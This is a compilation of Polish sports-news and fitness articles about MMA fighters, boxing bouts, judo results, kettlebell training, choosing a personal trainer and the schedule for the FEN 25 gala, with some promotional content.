Podczas FEN 26 we Wrocławiu kibice w klatce zobaczą ponownie Marcina Zontka (17-12, 9 KO, 5 SUB). „Zonti” tym samym stoczy swój kolejny pojedynek w kategorii półciężkiej.

Zontek to weteran polskiego MMA i jeden z najbardziej doświadczonych wojowników FEN. Strażak z Kamiennej Góry ma na swoim koncie już 8 pojedynków pod szyldem federacji. Chociaż zwykle toczy swoje walki w limicie do 93 kilogramów, popularny „Zonti” próbował swoich sił również w kategorii ciężkiej – podczas FEN 23 zmierzył się z Marcinem Sianosem. Poprzednio, w maju 2018 roku, bez problemu rozprawił się z Tonim Valtonenem.

Marcin Zontek zdecydował, że po próbie podbicia kategorii ciężkiej powróci w limicie 93 kilogramów. To w tej dywizji był blisko zdobycia pasów dwóch różnych federacji – M-1 Global (podczas M-1 Challenge 60) oraz FEN (podczas FEN 12: Feel The Force).

Trylogia?

Mamed Khalidov podjął decyzję o powrocie do rywalizacji w MMA. Chętny do rywalizacji z byłym mistrzem KSW w wadze średniej jest Tomasz Narkun. Będziemy świadkami trzeciej walki tych panów?

Ostatnio Tomaszowi Narkunowi nie udał się podbój wagi ciężkiej. W Łodzi przegrał z Philipem de Friesem, jednak nadal pozostaje czołową postacią KSW. Popularny "Żyrafa" chciał mieć w swojej kolekcji dwa pasy. Nadal dzierży tytuł mistrzowski w wadze półciężkiej. W październiku 2015 roku w Londynie już w pierwszej rundzie znokautował Gorana Reljicia. Na pierwszy plan wybił się wygrywając dwukrotnie z Mamedem Khalidovem.

Blisko 39-letni Polak czeczeńskiego pochodzenia po drugiej porażce z rzędu zdecydował się przerwać sportową karierę. Mówiło się o kłopotach zdrowotnych, ostatnio Khalidov został zatrzymany przez policję, był przesłuchiwany, a sąd odrzucił wniosek o areszt dla zawodnika. – To dla was dziś postanawiam wrócić ! Ci którzy chcieli zamknąć Khalidowa mogą już odpocząć. Sam wejdę do klatki …. i mogę wam obiecać jedno: mocniejszy niż kiedykolwiek, wybudzony przez odgłosy broni we własnym domu, groźniejszy niż kiedykolwiek. Oczerniony i osądzony wrócę pewniejszy niż kiedykolwiek (pisownia oryginalna) – napisał Mamed zapowiadający swój powrót do MMA.

Reakcja Tomasza Narkuna była natychmiastowa. Zawodnik podkreślał, że otrzymał wiele zapytań od kibiców na temat ewentualnej trzeciej walki z Khalidovem. Narkun nie ukrywa, że trylogia byłaby ciekawym rozwiązaniem. – Wielkie poruszenie wśród wszystkich fanów po tym jak Mamed Khalidov postanowił powrócić do MMA. Także kto wie. Stadion Narodowy? Trzecia walka z Narkunem? Narkun vs Khalidov? Zobaczymy – powiedział Tomasz Narkun w filmiku zamieszczonym w mediach społecznościowych.

Z pewnością trzecia walka Narkuna i Khalidova byłaby wielkim wydarzeniem w polskim MMA. Czas pokaże, czy do starcia dojdzie. Chętnych do spotkania z Khalidovem nie zabraknie. Akces do walki z byłym czempionem wagi średniej zgłosił Scott Askham. Anglik pokonał ostatnio Michała Materlę i zdobył pas KSW.

Głodny rywalizacji Khalidov będzie chciał wrócić w wielkim stylu. Kibice będą czekać na jego walkę. Podstawowa kwestia – czy zawodnik pozbiera się po ostatnich problemach i będzie w stanie rywalizować na najwyższym poziomie. Na przestrzeni lat udowodnił swoją wartość, ale każdy kolejny fighter chciałby mieć na rozkładzie Khalidova, więc zadanie przed nim niełatwe.

Fot. Tomasz Narkun Facebook

KM

Brązowa Julia

Judoczka Julia Kowalczyk (57kg) stanęła na najniższym stopniu podium Grand Prix w Montrealu. Blisko medalu była Agata Perenc (52kg).

Tegoroczne starty Kowalczyk rozpoczęła od siódmej pozycji w Tel Awiwie. Później szybko odpadała z rywalizacji w Dusseldorfie, Marakeszu i Tbilisi. Na początku kwietnia Kowalczyk zapisała na swoim koncie pierwszy triumf w zawodach rangi Grand Prix. W finale zmagań w tureckiej Antalyi pokonała Mariię Skorę i mogła cieszyć się ze zwycięstwa. Trzy miesiące później judoczka Polonii Rybnik sięgnęła po brązowy medal w Montrealu. To pierwszy krążek tego koloru w zawodach Grand Prix. W Kanadzie polska judoczka stoczyła trzy pojedynki. Na początek ekspresowo rozprawiła się z Belgijką Miną Libeer, ale w kolejnej walce musiała uznać wyższość Christy Deguchi, która wygrała zmagania w Montrealu. O podium Kowalczyk rywalizowała z Johanną Mueller. Polka musiała wspiąć się na wyżyny. Pojedynek był niezwykle zacięty i o wyniku zadecydowała dopiero dogrywka. Kowalczyk zanotowała waza ari, co dało jej brązowy medal.

Po piątym miejscu w Igrzyskach Europejskich, o podium ponownie otarła się Agata Perenc. Zawodniczka Polonii Rybnik zmagania w Montrealu zaczęła od wygranej z Soumiyą Iraoui. W kolejnym starciu przegrała z Turczynką Irem Korkmaz i czekały ją repasaże. Wygrana z Tinką Easton dała Polce szansę na brąz. Perenc stanęła przed trudnym zadaniem. Jej rywalką była wicemistrzyni olimpijska z Rio de Janeiro Bokyeong Jeong. O triumfie Azjatki zadecydowało waza ari.

Na siódmych lokatach w Montrealu uplasowały się Beata Pacut (78kg) i Arleta Podolak (57kg). Po jednej wygranej zanotowali panowie – Wiktor Mrówczyński (73kg) i Damian Szwarnowiecki (81kg). W kolejnych starciach przegrali przez ippon.

W Montrealu ton rywalizacji nadawali Japończycy, którzy wywalczyli siedem złotych medali oraz po jednym srebrze i brązie. Za ich plecami Kanadyjczycy. Gospodarze wywalczyli dziewięć medali, ale tylko jedno złoto, do tego cztery srebra i cztery brązy. "Medalowe" podium zamyka Izrael – złoto, srebro i dwa brązy.

KM

Kettlebell: XVIII-wieczny przyrząd do ćwiczeń

Niezależnie od tego jak często odwiedzasz fitnessowe centra, siłownie i inne miejsca do wykonywania aktywności fizycznej, na pewno raz w życiu usłyszałeś w swoim otoczeniu lub gdzieś w internecie słowo "kettlebell". Jest to przyrząd, który w języku polskim nazywamy Girią.

Jego głównym zadaniem jest pomoc we wzmacnianiu poszczególnych partii mięśniowych, ćwiczeniu siły ścisku i kształtowaniu atletycznej sylwetki. Znany od XVIII wieku kettlebell, dzisiaj spotykany jest praktycznie w każdym miejscu przeznaczonym do uprawiania aktywności fizycznej. Jak można go wykorzystać i dlaczego akurat giria?

Czym dokładnie jest kettlebell?

Kettlebel to odlewany z żeliwa odważnik występujący najczęściej w kolorze czarnym z nadrukowanym na nim białym napisem informującym o wadze. Oczywiście, wraz ze wzrostem wagi, zmienia się też jego średnica. Uchwyt może przybierać różny kształt – być bardziej zaokrąglony, bardziej kanciasty lub trójkątny. W sprzedaży oferowane są kettlebelle w przedziale od 4 do 60 kg masy.

Ciekawym urozmaiceniem jest regulacja – występująca w niektórych modelach, pozwalająca na rozłożenie kettlebella na dwie części i dołożenie do środka kolejnych talerzy. Jest dobrą alternatywą dla osób sięgających po girię sporadycznie. Osoby wykonujące bardziej gwałtowne ruchy, w trakcie ćwiczeń będą odczuwały dyskomfort.

Kettle z bardziej fitnessowej półki sprzedawane są w różnej, nieznanej wcześniej kolorystyce. Rączka w wysokiej jakości kettlu powinna być wykonana z tego samego materiału, co sam odważnik. Ponieważ przy wysiłku fizycznym często pod wpływem zmęczenia rzucamy akcesoriami, na dłuższą metę nie zaleca się kupowania modeli z plastikowymi elementami.

Jakie ćwiczenia można wykonywać z "kettlem"?

Wszystkie ćwiczenia, które wymagają zastosowania obciążenia. Istnieją także ćwiczenia dostępne na wyłączność dla posiadaczy kettlebell – takim jest "swing" będący podstawowym ruchem, jaki wykonuje się z użyciem takiego odważnika. Swing to ruch wykorzystujący siłę eksplozywną. Polega na zamachnięciu się girią do przodu, a następnie zgięciu ciała w stawie biodrowym i kolanowym. W wykonaniu przypomina nieco przysiad. Przez cały czas wykonywania tego ćwiczenia powinniśmy utrzymywać poprawną postawę i mieć cały czas ciężar pod kontrolą – nie może być więc zbyt ciężki.

Innymi przykładami atrakcyjnych ćwiczeń jest huśtanie obciążnikiem, spacer farmera z użyciem dwóch kettli, skręty tułowia i przysiady sumo i goblet (goblet squat). 

Czy trening z kettlebellem daje efekty takie jak inne formy treningu?

O ile będziemy kontrolować jego ciężar, zachowamy prawidłową technikę i wykorzystamy wszystkie potrzebne mięśnie, trening z odważnikiem przyniesie wymierne korzyści. Mnogość możliwych ćwiczeń pozwala na wzmocnienie wszystkich mięśni pleców, ramion, brzucha, barków i nóg. Podobnie jak hantel, girię można traktować jako przyrząd uniwersalny. Poza tradycyjnym treningiem siłowym, przydaje się do wzmacniania siły eksplozywnej, ćwiczeń akcesoryjnych, a także treningu aerobowego – cardio i tabaty.

Po więcej zapraszamy na Sklep.Fitnessleon.pl

ONA #1: Gościem programu Arleta Podolak

ONA #1: Zapraszamy na premierowy odcinek programu o kobietach dla kobiet. Monika Porażyńska​ w rozmowie z Arleta Podolak​ pokazuje nasze fighterki z zupełnie innej strony. Poznamy ich życie osobiste, marzenia, co lubią a czego nie…na pewno nie padnie pytanie „Jak przygotowania do walki lub jak poszła ostatnia walka?”. Postaramy się abyście poznali nasze bohaterki jako kobiety a nie tylko zawodniczki.

[kod]

Black. Empower yourself!

Marka Black Energy rusza z nową kampanią! Moc jest w Tobie! To jej główny przekaz.       Ambasadorem marki pozostaje niezmiennie Mike Tyson, który w czerwcu gościł w Warszawie i opowiedział o tym, dlaczego z entuzjazmem promuje nową ideę marki.

Kwintesencją przekazu marki jest idea empowerment, a historia Mike’a Tysona – najmłodszego mistrza świata w historii zawodowego boksu, który tytuł mistrza wszechwag osiągnął dwukrotnie, zdobył mistrzostwo świata trzech najważniejszych federacji bokserskich jest tego najlepszym dowodem. Jak sam powtarza, empowerment jest mu szczególnie bliski. Był bliski już wtedy, kiedy zaczynał trenować i kiedy zdobywał pierwsze trofea. Powtarzał: „Jestem marzycielem. Muszę marzyć i sięgać po gwiazdy, a jeśli nie sięgnę gwiazdy, łapię garść chmur.”

""

Jako nastolatek musiał stanąć przed ważnymi decyzjami życiowymi, które miały olbrzymi wpływ na jego losy. Znalazł w sobie odwagę, podejmował na pozór niemożliwe wyzwania, zwyciężał. Z pomocą swojego trenera i mentora Cusa D’Amato postrzegał problemy jako wyzwania i podejmował je w drodze na szczyt. Jak mówi sam Mike Tyson „Można marzyć o wszystkim i stawiać sobie wielkie wyzwania, ale trzeba umieć znaleźć w sobie siłę i motywację. Trzeba wierzyć w siebie i dać sobie szansę. Ja tak zrobiłem. Odnalazłem w sobie moc, podejmowałem odważne decyzje i pracowałem na swój sukces. To samo chciałbym przekazać wszystkim, którzy mogą nie wiedzieć jak wielki potencjał mają w sobie. Uwierzcie w siebie i walczcie o swoje marzenia!”.

Empowerment – to idea wewnętrznego umacniania siebie i dążenia do realizacji postawionych sobie celów, planów czy marzeń. Właśnie ta myśl przyświeca nowej kampanii marki. Black wierzy, iż w każdym z nas drzemie ogromna moc, czasami większa niż zdajemy sobie z tego sprawę. Jednak każdy z nas ma takie chwile, w których czuje, że potrzebuje dodatkowej energii, aby uwolnić pełnię swojej mocy. Dlatego misją Black jest dodawanie swoim konsumentom energii i odwagi, aby mogli osiągać stawiane sobie cele, bo wierzy, że nikt nie poradzi sobie lepiej w Twojej sytuacji niż Ty sam. Z Black wiesz, że możesz więcej! 

Wizja świata Mike’a Tysona i firmy FoodCare są zbieżne – to świat, w którym ludzie widzą nieograniczone możliwości i jak przekonuje Wiesław Włodarski Prezes Zarządu FoodCare: „Marka Black jest doskonałym przykładem idei empowermentu. Wchodząc na rynek w 2011 roku w zaledwie dwa lata osiągnęła pozycję lidera choć niewielu wierzyło w sukces nowej marki. Teraz walczymy o pozycję numer 1 na świecie. Dla mnie ta idea jest szczególnie bliska, od początku mojej drogi w biznesie kieruję się właśnie nią”.  

Nowa kampania Black Energy Drink wystartuje już w sierpniu i jest czwartą w historii marki przygotowaną z udziałem Mike’a Tysona.

Trener personalny – jak wybrać odpowiednią osobę?

Eksperci biją na alarm, strasząc epidemią otyłości i spadającą sprawnością fizyczną naszego społeczeństwa, dlatego moda na zdrowy styl życia cieszy się niesłabnącym zainteresowaniem od wielu lat. Korzystają na tym trenerzy personalni, którzy w swoich usługach łączą ofertę konsultacji dietetycznych i indywidualnych zajęć sportowych. Jak wybrać odpowiedniego specjalistę, który będzie kompetentny na obu płaszczyznach?

Czym zajmuje się trener personalny?

Trener personalny zajmuje się prowadzeniem indywidualnych zajęć sportowych dla swoich klientów. Aktywność fizyczna dobierana jest pod kątem celu jaki ma osiągnąć podopieczny (na przykład redukcja masy ciała, zbudowanie większej masy mięśniowej, poprawa sylwetki czy powrót do sprawności po kontuzji). Niezmiernie ważne jest odpowiednie dopasowanie treningu do możliwości danej osoby. Pod uwagę należy wziąć jej wiek, staż treningowy, rytm dnia, ilość czasu przeznaczonego na regenerację, rodzaj wykonywanej pracy czy dietę. Jeśli mowa o odżywianiu, wielu instruktorów często układa również jadłospisy, co dodatkowo wspomaga cały proces zmian. Wspieranie i motywacja klienta to kolejne zadania trenera, które jeszcze bardziej poprawiają skuteczność jego pracy z podopiecznym. Połączenie aktywności fizycznej z przemyślaną dietą pozwalają zauważyć pierwsze efekty dość szybko, stąd stale rosnąca zainteresowanie usługami trenerów personalnych.

Kto może zostać trenerem personalnym?

Trenerem personalnym może zostać każdy, ponieważ jako zawód nigdy nie był on uregulowany prawnie. Dodatkowo po wejściu w życie ustawy o sporcie z 25 czerwca 2010 roku, również działalność instruktora w klubach fitness przestała być regulowana. Nie są zatem wymagane żadne uprawnienia państwowe, ani nawet ukończone kursy z tego zakresu. Stanowi to dość duży problem, ponieważ praca z podopiecznym to odpowiedzialne i wymagające zadanie. Dobre przygotowanie do wykonywania tego zawodu daje ukończenie szkoły wyższej np. Akademii Wychowania Fizycznego, studiów z fizjoterapii czy dietetyki, uzupełnionych o specjalistyczne kursy z zakresu fizjologii, anatomii człowieka, biochemii, a także psychologicznego podejścia do pracy z klientem.

Po czym poznać dobrego specjalistę?

Mimo braku prawnych wymagań, dobrze jest, jeśli nasz trener ma wykształcenie, które powiązane jest z wykonywaną pracą. Warto zatem zweryfikować to w pierwszej kolejności. Dodatkową plusem będą ukończone kursy i szkolenia kierunkowe, więc wystarczy o nie zapytać przy pierwszej rozmowie. Trenerzy personalni często prowadzą swoje zajęcia w klubach fitness i na siłowniach, warto więc zrobić odpowiednie rozpoznanie i zapytać o danego instruktora. Wysokiej klasy kluby starają się zatrudniać dobrze wyszkolonych trenerów, chociaż niestety nie ma tutaj reguły. To, na co szczególnie należy zwrócić uwagę, to sposób prowadzenia pierwszej konsultacji. Specjalista  powinien zadać nam kilkanaście ważnych pytań, które pozwolą mu oceniać nasz stan zdrowia, odżywienia, dotychczasową aktywność fizyczną, przybliżone cele i oczekiwania. Wielu trenerów korzysta już ze specjalnych narzędzi, takich jaki program dla dietetyków, które pozwalają zebrać taką ankietę również on-line. W kontekście samego żywienia możemy się spodziewać takich pytań jak: przebyte choroby, przyjmowane leki czy suplementy, alergie, nietolerancje, produkty lubiane i nielubiane. Na rynku są już obecne systemy, które pozwalają na zebranie takiego raportu i przygotowanie jadłospisu, który podopieczny może odebrać w swojej aplikacji mobilnej. Warto zatem zapytać, czy nasz trener nie korzysta z takich rozwiązań, ponieważ znacznie upraszcza to całą współpracę.

""

Trener personalny – jak wybrać właściwą osobę?

Właściwy wybór trenera personalnego nie jest łatwy. Duże zainteresowanie ich usługami sprawia, że na rynku pojawiają się nowi specjaliści, przy czym ich wiedza i doświadczenie pozostawiają wiele do życzenia. Warto więc zweryfikować ich wykształcenie i umiejętności. Należy również przyjrzeć się, gdzie dany trener przyjmuje, jak prowadzi konsultacje, czy wypowiada się kompetentnie w zakresie proponowanych ćwiczeń, fizjoterapii oraz diety. Cenną informacją jest to, czy trener korzysta z profesjonalnego oprogramowania dla specjalistów i czy czyta fachowe źródła wiedzy jak kcalmar.com/dietetyk/blog/. Będzie to wyznacznik, czy traktuję swój zawód odpowiedzialnie lub jest to jego dorywcza praca.

Łokieć…

Krzysztof Głowacki to klasowy pięściarz, były mistrz świata WBO w wadze junior ciężkiej. 15 czerwca w Rydze okoliczności nie były dla niego łaskawe. To co stało się w ringu było zwykłą farsą.

Od kilku lat Krzysztof Głowacki wybija się wśród polskich pięściarzy. Toczy efektowne pojedynki, wygrywa. Co najważniejsze, jest niezwykle ambitny i nie odpuszcza. Wspaniale zaprezentował się 14 sierpnia 2015 roku w Prudential Center, gdzie po niezwykłym pojedynku, pełnym zwrotów akcji położył na deski Marco Hucka. Polak zdobył pas WBO. Tytuł stracił rok później na rzecz mocnego Oleksandra Usyka.

Ostatnio Głowacki znalazł się wśród uczestników turnieju World Boxing Super Series. W ćwierćfinale pokonał mocnego Rosjanina Maksyma Własowa, dzięki czemu zdobył tymczasowy pas mistrza WBO. W półfinale czekał na niego Łotysz Mairis Briedis, który w poprzedniej edycji zmagań odpadł w tej fazie z Usykiem.

To miał być wielki dzień dla Głowackiego. Tak się jednak nie stało, ale trudno tu negatywnie wypowiadać się o polskim bokserze, który od pierwszych minut chciał rywalizować i nękał rywala. Briedis też miał swój sposób na pojedynek… W tym przypadku zasady fair play i szacunku dla rywala odeszły na bok… Były gdzieś daleko poza ringiem, a nawet halą. W drugiej rundzie Głowacki trafił rywala w tył głowy, co rozłościło Briedisa. Ten uderzył łokciem Polaka, który padł na deski. Oszołomiony Głowacki wstał. Łotysz kontynuował atak, a kilka ciosów zadał… po ostatnim gongu. Sędzia ringowy był zagubiony i ponownie liczył pięściarza z Wałcza. W trzeciej rundzie Głowacki niesiony ambicją i sercem do walki chciał znokautować przeciwnika, ale był osłabiony. Briedis posłał w jego stronę kilka prawych i Polak ponownie znalazł się na deskach. Sędzia przerwał pojedynek. Starcie pełne absurdalnych sytuacji, złych decyzji i jakichkolwiek zasad. Na koniec – Briedis przyznaje, że sfaulował Głowackiego celowo. Czy coś trzeba do tego dodawać?

Zobaczymy jak sytuacja potoczy się dalej. Wiadomo – życie idzie do przodu. Obóz Głowackiego nie chce odpuścić sytuacji, ale czy organizatorzy turnieju przychylą się do protestów? Najuczciwszym rozwiązaniem byłby rewanż na neutralnym terenie. Briedis splamił swój honor, zachował się beznadziejnie. Wielu komentatorów nie chciało nawet oceniać jego postawy. Brak słów.

Szkoda Krzysztofa Głowackiego, jego pracy, wysiłku i marzeń. Trzeba wierzyć, że jest jakaś sprawiedliwość, która pozwoli Polakowi jeszcze rywalizować o najwyższe cele.

Fot. Krzysztof Głowacki Facebook

KM

Walka o przyszłość

Głosy o potencjalnej walce Artura Szpilki z Dereckiem Chisorą pojawiły się w ostatnich tygodniach. Wiadomo, że pojedynek odbędzie się 20 lipca w Londynie. Dla Artura Szpilki będzie to ważny punkt w karierze.

Skuteczność "Szpili" w ringu sprawiła, że swego czasu polscy kibice widzieli w nim nadzieję boksu. Szpilka pokonywał kolejnych rywali, wyjechał do Stanów Zjednoczonych i radził sobie na tamtejszych ringach. Szczególnie dwie wygrane z Mikie'm Mollo mogły robić wrażenie. Zwłaszcza, że w rewanżu Polak znalazł się na deskach, ale wrócił na nogi i to rywal musiał pogodzić się z porażką. Szesnaście wygranych walk i nadszedł czas na pierwszy poważny test. Bryant Jennings był wyróżniającym się pięściarzem. Dobra obrona Amerykanina i skuteczność okazały się kluczem do sukcesu. W dziesiątej rundzie Szpilka padł, wstał, ale sędzia przerwał walkę. Rok później Jennings walczył o pasy mistrzowskie z Władimirem Kliczko.

Amerykański sen "Szpili" został przerwany. Kolejna część historii – w hitowym starciu na polskiej ziemi Artur Szpilka pokonał Tomasza Adamka. Sama walka w Polsce była wielkim wydarzeniem, ale zwycięstwo urodzonego w Wieliczce pięściarza stało się pewnym przełomem. Szpilka prezentował się jak dojrzały bokser, w pełni przewidujący wydarzenia w ringu. Po raz kolejny ruszył do Stanów. Wygrał trzy walki przed czasem i stanął przed życiową szansą. Na drodze Polaka pojawił się Deontay Wilder. W starciu o pas WBC "Szpila" prezentował się dobrze, ale wystarczyła chwila, aby czempion go powalił i w dziewiątej rundzie triumfował. Z kolei porażka z Adamem Kownackim rozpoczęła dyskusję, czy Szpilka ma jeszcze "czego szukać w wadze ciężkiej". Sam pięściarz rozważał zawieszenie kariery. Dodatkowo wróciły dawne demony. Szpilka uderzył promotora, wdawał się w niepotrzebne dyskusje, podczas gali KSW zaatakował Tomasza Oświecińskiego. Aspekt sportowy znalazł się gdzieś z boku, a „Szpilka” był w ogniu krytyki.

W 2018 roku bokser stoczył dwie walki. Pokonał Dominicka Guinna i Mariusza Wacha, choć wynik tej drugiej walki wzbudził sporo kontrowersji. Po starciu Szpilka nie wytrzymał nerwowo i wdał się w dyskusję z kibicami.

20 lipca w O2 Arenie Artur Szpilka zmierzy się z Dereckiem Chisorą. To niezwykle ważny pojedynek w karierze polskiego boksera. Ma 30 lat, ale znajduje się w specyficznym położeniu. Niektórzy postawili na nim krzyżyk, inni jeszcze wierzą. Chisora to pięściarz o mocnym nazwisku, choć "prochu już nie wymyśli". Jeśli Szpilka wygra, słońce nadal dla niego będzie świeciło. W przypadku porażki – znajdzie się na bocznym torze wagi ciężkiej. Chisora jest szansą dla Szpilki. Czy ten ją wykorzysta?

KM

Kowalkiewicz poza „dziesiątką”

W najnowszym rankingu UFC Karolina Kowalkiewicz zajmuje 13. lokatę, wyżej sklasyfikowana jest Joanna Jędrzejczyk – 4. miejsce.

Trzecia z rzędu porażka była ogromnym ciosem dla łodzianki. Podczas gali UFC 238 przegrała jednogłośnie na punkty z Alexą Grasso. Niepokój wywołały słowa Kowalkiewicz. – Niestety bolesna prawda jest taka, że najlepsze lata i szczyt formy mam już za sobą, jest dużo młodych, utalentowanych ambitnych zawodniczek którym trzeba ustąpić miejsca…. – napisała w mediach społecznościowych. Brzmi groźnie, ale zawodniczka zapewnia, że jeszcze pojawi się w oktagonie. – Ale nie martwcie się, jeszcze wrócę i będę dawać dobre walki może nie na samym „szczycie” ale dostarczę Wam wielu emocji, dajcie mi tylko trochę czasu – dodała 33-letnia fighterka.

Ponad 2,5 roku temu Kowalkiewicz rywalizowała o pas wagi słomkowej z Joanną Jędrzejczyk i znajdowała się w czołówce swojej kategorii wagowej. W najnowszym zestawieniu UFC Polka wypadła poza czołową "dziesiątkę". Obecnie znajduje się na 13. miejscu, zanotowała spadek o trzy pozycje. Z kolei jej ostatnia rywalka – Grasso awansowała o dwie lokaty i jest jedenastką zawodniczką kategorii słomkowej. Druga z Polek – Joanna Jędrzejczyk zajmuje 4. miejsce. Mistrzynią jest Jessica Andrade, a za jej plecami są kolejno: Rose Namajunas, Tatiana Suarez i Nina Ansaroff. Warto również dodać, że posiadaczka pasa do pierwszej obrony tytułu stanie 31 sierpnie w Shenzhen. Na ostatniej prostej są rozmowy na temat walki Andrade z Weili Zhang. W kwestii uzupełnienia, Joanna Jędrzejczyk jest również czwarta w kategorii muszej.

Rzut oka na pozycje pozostałych Polaków. W kategorii półciężkiej na szóstym miejscu plasuje się Jan Błachowicz. Spadek o jedną pozycję w wadze ciężkiej zanotował Marcin Tybura. Obecnie jest trzynasty.

Na uwagę zasługuje również awans o sześć pozycji Calvina Kattara, który w kategorii piórkowej jest dziewiąty. Dwa ostatnie pojedynki Amerykanin wygrał w pierwszych rundach.  Do czołówki wagi koguciej puka Petr Yan. Rosjanin awansował o pięć lokat – jest czwarty. 26-latek wygrał wszystkie pięć walk w UFC.

Fot. Karolina Kowalkiewicz Facebook

KM

Show zamiast sportu

"Po deszczu zawsze wychodzi słońce", pojawiają się też grzyby. Czasami bardzo dużo, co jest ogromną frajdą dla grzybiarzy. Obecnie przeżywamy wysyp organizacji MMA, które oferują rozrywkę. W skrócie show. Niektórzy mówią, że sport został w szatni, a nawet zamknął się w szafce.

Na potrzeby tekstu stworzymy profil pasjonata tego typu widowisk – Bogdana. Drodzy Państwo, Janusza zostawmy w spokoju. Idą wakacje – niech zakłada skarpetki, klapki i rusza na plażę. A więc Bogdan, a więc show…

Sobota wieczór, może być i piątek. Bogdan znużony tygodniem pracy siada przed telewizorem i oczekuje na dobrą rozrywkę. Ma być efektownie, nieco wulgarnie (a nawet i nieco mocniej), do tego dużo śmiechu. Zagadnienia merytoryczne oraz wszelkie analizy sprawią, że Bogdan zmieni kanał. Tego nie można mu zrobić! Trzeba stworzyć show dla Bogdana i jemu podobnych. A więc jak w przepisie na ciasto – bierzemy trochę tego, ciupkę tego, tu sypniemy, tam dodamy i wychodzi coś. Czy to będzie dobre? Kwestia smaku… Bo jeśli wyłączymy główny składnik, czyli w tym wypadku – przypomnę mówimy o galach sportów walki – umiejętności, klasowych zawodników to coś nam wyjdzie, ale pełnowartościowe nie będzie.

Ale co tam. Bierzemy popcorn, Bożenę pod rękę, kufel do pełna i oglądamy. Organizator zapewnia nam show zapraszając w swoje skromne progi szeroko pojęte gwiazdy. Szanowni Państwo, spójrzcie czasem w niebo. Ile tam jest gwiazd… Zewsząd słyszymy, że pojawią się one również w ringu czy oktagonie. Osoba interesująca się sportami walki przegląda fight card i drapie się po głowie. Chciałoby się powiedzieć: „Sorry, taki mamy klimat”. Stawiamy na Bogdana! Najważniejsze są jego potrzeby, czas, zainteresowanie, uwaga i przekonanie, że oferta gal z gwiazdami z nieba jest super, hiper, fajna i nigdzie takiej nie ma. Ciocia Gienia z sąsiadką Jadzią mogą nawet w oktagonie rozwiązać swój wieloletni konflikt o to, której bigos jest lepszy. Zenek chętnie pokaże Cześkowi, gdzie „raki zimują”. A… i Kazik chętnie zamieni się w żółwia ninja. Co ich łączy? Spodobała im się możliwość bycia częścią show.

Granice są już tylko umowne, widać je na mapie. Mówiąc serio – każdego dnia możemy przekroczyć granice, ale ta smaku została zatarta już dawno. Bogdan tego nie zauważył, bo nie chciał. Chłop chce kawę na ławę i ją dostaje. Prosto, bez żadnych komplikacji, wysiłku. Działamy, żeby upraszczać. Pokazujemy produkt, którego wartość stoi pod wielkim znakiem zapytania. Okazuje się, że każdy może zostać fighterem. Nazwisko działa jak magnes. Co z tego, że umiejętności znikome i w ringu jest swoisty taniec węża czy inne wygibasy. Gdzieś facet zaistniał, ma nazwisko – Bogdan go kupi i ucieszy się, że go widzi. A jeszcze jak przegra – będzie miał satysfakcję. Bo to taka fajtłapa. Gdzie się nie pokaże tam polegnie i kupa śmiechu z niego. Bogdan może cisnąć bekę. Świadomie czy nie – to już inna sprawa.

Akcje marketingowe, zapowiedzi, materiały promocyjne, konferencje. No cóż… O poziomie kultury dyskutować nie będziemy, bo każdy definiuje go zapewne na swój sposób. Bogdan to przyjmuje do wiadomości. Jednak widzi ten lejący się żar nienawiści, zamieszki na konferencjach, wzajemne obrażanie, wyzywanie od najgorszych. Jest… czuć krew. Bogdan to lubi. Coś się dzieje! Tak ma być!

Bogdan ma swoją rozrywkę, która kreuje "Gwiazdy" i stwarza pozory. Chłop myśli, że coś wie. Bo ktoś mu powiedział, ktoś pokazał. Oglądasz show, MMA, sport. Bogdan to łapie niczym dziecko bańki mydlane. Rozumiecie? Bogdan ma swój świat. Poniekąd słychać ubolewanie tych, którzy cenią sport. Cierpią. Jednak wiadro rozrywki ich zalewa i pozostaje im robić swoje, z wiarą, że mają swoich wyznawców i ze świadomością, że dobra praca się obroni. Trudno im w to wierzyć. Dziwicie się? Wystarczy złożyć ofertę dziewczynie obserwowanej w mediach społecznościowych przez kilkanaście tysięcy osób i sprawa załatwiona. Bogdan siada i ogląda. Popcorn, banan na twarzy i jazda. Nie jest łatwo. Kula śniegowa się toczy. Czy ktoś ją zatrzyma? Kto otworzy oczy i sprawi, że sport wyjdzie z szatni?

Co, gdzie, jak – rozkład jazdy na Fight Week przed FEN 25

Przedstawiamy państwu plan na ostatnie dni przed galą FEN 25, która 15 czerwca odbędzie się w ostródzkim Amfiteatrze.

Konferencja prasowa – czwartek, 13.06, godzina 14:00

Zamek w Ostródzie (ul. Mickiewicza 22)

Bohaterowie konferencji prasowej:

Zbigniew Michalak – Burmistrz Ostródy
Bogusław Fijas – Wójt Ostródy
Andrzej Wilczkowski – Starosta
Paweł Jóźwiak – prezes Fight Exclusive Night
Katarzyna Lubońska
Izabela Badurek
Maciej Jewtuszko
Adrian Zieliński
Fabiano Silva

Ceremonia ważenia – piątek, 14.06, godzina 18:00

Miejsce: Molo w Ostródzie

Transmisja: Facebook FEN, realizacja – telewizja FighTime

Plan gali:

Pierwsza walka karty wstępnej: godzina 18:30. W skład karty wstępnej wchodzą 3 walki.

20:00 – ceremonia otwarcia gali

20:15 – pierwsza walka karty głównej

Transmisja telewizyjna:

Od 19:00 – Polsat Sport, Polsat Sport Fight

Od 20:00 – Super Polsat, Polsat Sport

Od 22:00 – Polsat, Polsat Sport

""

KARTA WALK FEN 25:
70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs Fabiano Silva* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
93 kg, MMA: Bartosz Leśko vs Kewin Wiwatowski 
85 kg, K-1: Łukasz Radosz vs Przemysław Zygmuntowicz
70 kg, K-1: Bartłomiej Witkowski vs Pavel Kobyliatskyi

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

Arreola na drodze Kownackiego

3 sierpnia w Nowym Jorku Adam Kownacki stoczy swoją dwudziestą zawodową walkę. Jego rywalem będzie Chris Arreola.

